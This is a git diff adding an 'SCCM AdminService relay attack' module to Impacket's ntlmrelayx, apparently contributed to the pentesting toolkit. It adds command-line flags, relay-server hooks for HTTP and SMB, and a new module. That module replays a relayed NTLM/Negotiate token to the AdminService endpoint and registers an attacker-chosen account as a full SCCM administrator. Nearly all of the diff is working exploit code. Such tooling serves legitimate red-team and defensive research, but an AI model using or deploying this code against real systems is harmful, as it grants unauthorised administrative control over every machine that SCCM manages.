diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index 22f674492..30053ed23 100755 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -205,6 +205,7 @@ def start_servers(options, threads): options.cert_outfile_path) c.setAltName(options.altname) + c.setisADMINAttack(options.adminservice, options.logonname, options.displayname, options.objectsid) #If the redirect option is set, configure the HTTP server to redirect targets to SMB if server is HTTPRelayServer and options.r is not None: @@ -390,6 +391,13 @@ def stop_servers(threads): help='choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))') shadowcredentials.add_argument('--cert-outfile-path', action='store', required=False, help='filename to store the generated self-signed PEM or PFX certificate and key') + # Adminservice opions + adminoptions = parser.add_argument_group("SCCM AdminService attack options") + adminoptions.add_argument('--adminservice', action='store_true', required=False, help="Enable SCCM AdminService relay attack") + adminoptions.add_argument('--logonname', action='store', required=False, help="Logon name of the account to be added as an admin") + adminoptions.add_argument('--displayname', action='store', required=False, help="Display name name of the account to be added as an admin") + adminoptions.add_argument('--objectsid', action='store', required=False, help="SID of the account to be added as an admin") + try: options = parser.parse_args() except Exception as e: diff --git a/impacket/examples/ntlmrelayx/attacks/httpattack.py b/impacket/examples/ntlmrelayx/attacks/httpattack.py index 233a3f571..b6866546e 100644 --- a/impacket/examples/ntlmrelayx/attacks/httpattack.py +++ b/impacket/examples/ntlmrelayx/attacks/httpattack.py @@ -17,6 +17,7 @@ from impacket.examples.ntlmrelayx.attacks import ProtocolAttack from impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack +from impacket.examples.ntlmrelayx.attacks.httpattacks.adminserviceattack import ADMINSERVICEAttack PROTOCOL_ATTACK_CLASS = "HTTPAttack" @@ -34,6 +35,8 @@ def run(self): if self.config.isADCSAttack: ADCSAttack._run(self) + elif self.config.isADMINAttack: + ADMINSERVICEAttack._run(self) else: # Default action: Dump requested page to file, named username-targetname.html # You can also request any page on the server via self.client.session, diff --git a/impacket/examples/ntlmrelayx/attacks/httpattacks/adminserviceattack.py b/impacket/examples/ntlmrelayx/attacks/httpattacks/adminserviceattack.py new file mode 100644 index 000000000..bf52323fd --- /dev/null +++ b/impacket/examples/ntlmrelayx/attacks/httpattacks/adminserviceattack.py @@ -0,0 +1,75 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# SCCM AdminService relay attack +# +# Authors: +# Garrett Foster (@garrfoster) +# Tw1sm (@Tw1sm) + +from impacket import LOG +from struct import unpack +from impacket.spnego import SPNEGO_NegTokenResp +import json +import base64 + +ELEVATED = [] + +class ADMINSERVICEAttack: + def _run(self): + # slightly modfied sendAuth func from httprelayclient.py reused here due to negotiate auth, + # requring all action to be performed in one shot + if self.username in ELEVATED: + LOG.info('Skipping user %s since attack was already performed' % self.username) + return + + if unpack('B', self.config.sccmAdminToken[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: + respToken2 = SPNEGO_NegTokenResp(self.config.sccmAdminToken) + token = respToken2['ResponseToken'] + else: + token = self.config.sccmAdminToken + auth = base64.b64encode(token).decode("ascii") + headers = {'Authorization':'%s %s' % ('Negotiate', auth),'Content-Type': 'application/json; odata=verbose'} + + data = { + "LogonName": self.config.logonname, + "AdminSid": self.config.objectsid, + "Permissions": [ + { + "CategoryID": "SMS00ALL", + "CategoryTypeID": 29, + "RoleID":"SMS0001R", + }, + { + "CategoryID": "SMS00001", + "CategoryTypeID": 1, + "RoleID":"SMS0001R", + }, + { + "CategoryID": "SMS00004", + "CategoryTypeID": 1, + "RoleID":"SMS0001R", + } + ], + "DisplayName": self.config.displayname + } + + body = json.dumps(data) + + LOG.info('Adding administrator via SCCM AdminService...') + self.client.request("POST", '/AdminService/wmi/SMS_Admin', headers=headers, body=body) + ELEVATED.append(self.username) + res = self.client.getresponse() + + if res.status == 201: + LOG.info('Server returned code 201, attack successful') + else: + self.lastresult = res.read() + LOG.info(f'Server returned code {res.status} - attack likely failed') + LOG.info(self.lastresult.decode("utf-8").replace("'", '"')) diff --git a/impacket/examples/ntlmrelayx/servers/httprelayserver.py b/impacket/examples/ntlmrelayx/servers/httprelayserver.py index e83898f03..be70f3ac7 100644 --- a/impacket/examples/ntlmrelayx/servers/httprelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/httprelayserver.py @@ -429,6 +429,16 @@ def do_relay(self, messageType, token, proxy, content = None): target = '%s://%s@%s' % (self.target.scheme, self.authUser.replace("/", '\\'), self.target.netloc) + # when relaying to the SCCM AdminService to add a new administrator, + # we need to break out of the normal relay auth flow and + # perform the attack all in one shot + if self.server.config.isADMINAttack: + LOG.info("Exiting standard auth flow to add SCCM admin...") + self.server.config.setSCCMAdminToken(token) + LOG.info("Authenticating against %s://%s as %s" % (self.target.scheme, self.target.netloc, self.authUser)) + self.do_attack() + return + if not self.do_ntlm_auth(token, authenticateMessage): LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc, self.authUser)) diff --git a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py index 2adf6f514..5e993b718 100644 --- a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py @@ -326,6 +326,12 @@ def SmbSessionSetup(self, connId, smbServer, recvPacket): self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))).upper() + if self.config.isADMINAttack: + LOG.info("Exiting standard auth flow to add SCCM admin...") + self.config.setSCCMAdminToken(token) + LOG.info("Authenticating against %s://%s as %s" % (self.target.scheme, self.target.netloc, self.authUser)) + self.do_attack(client) + return if rawNTLM is True: respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = securityBlob diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index 5a19a29c9..f34d70b15 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -100,6 +100,13 @@ def __init__(self): self.ShadowCredentialsExportType = None self.ShadowCredentialsOutfilePath = None + # Admin service attack + self.isADMINAttack = False + self.sccmAdminToken = None # internal storage var; not a CLI flag option + self.logonname = None + self.displayname = None + self.objectsid = None + def setSMBChallenge(self, value): self.SMBServerChallenge = value @@ -238,6 +245,15 @@ def setShadowCredentialsOptions(self, ShadowCredentialsTarget, ShadowCredentials def setAltName(self, altName): self.altName = altName + def setisADMINAttack(self, isADMINAttack, logonname, displayname, objectsid): + self.isADMINAttack = isADMINAttack + self.logonname = logonname + self.displayname = displayname + self.objectsid = objectsid + + def setSCCMAdminToken(self, token): + self.sccmAdminToken = token + def parse_listening_ports(value): ports = set() for entry in value.split(","):